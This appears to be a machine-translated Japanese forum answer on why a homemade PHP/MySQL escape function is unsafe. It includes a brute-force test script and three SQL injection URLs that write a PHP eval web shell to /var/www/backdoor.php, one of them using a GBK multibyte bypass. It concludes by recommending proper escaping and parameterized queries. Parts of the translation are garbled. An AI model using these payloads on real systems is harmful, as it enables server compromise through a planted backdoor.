あなたがただなら '
を置き換える ''
を使用 次に、\'
を挿入することでこれを悪用できます これは\''
に変わります これにより、「文字リテラル」の単一引用符と実際の単一引用符が得られるため、ブレークアウトが可能になります。ただし、 "\\"
の置き換え "\\\\"
を使用 この攻撃を無効にします。ダブルシングルクォートは、MS-SQLのシングルクォートを「エスケープ」するために使用されますが、これはMySQLには適切ではありませんが、機能します。
次のコードは証明 このエスケープ機能は、3つの条件を除くすべての条件で安全であること 。このコードは、制御チャーターのすべての可能なバリエーションを並べ替え、それぞれをテストして、一重引用符で囲まれたselectステートメントでエラーが発生しないことを確認します。このコードはMySQL5.1.41でテストされました。
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
脆弱な状態1:引用符は使用されていません。
mysql_query("select username from users where id=".escape($_GET['id']));
エクスプロイト:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
脆弱な状態2:二重引用符が使用されています
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
エクスプロイト:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
脆弱な状態2:一重引用符が使用されていますが、代替文字セットが使用されます。 。
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
エクスプロイト:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
結論は、常に mysql_real_escape_string()
を使用することです。 MySQLのエスケープルーチンとして。 pdoやadodbなどのパラメーター化されたクエリライブラリは、常に mysql_real_escape_string()
を使用します mysqlデータベースに接続したとき。 addslashes()
FAR BETTER 脆弱な状態2を処理するため、エスケープルーチンの 条件1を停止しますが、パラメーター化されたクエリライブラリは停止します。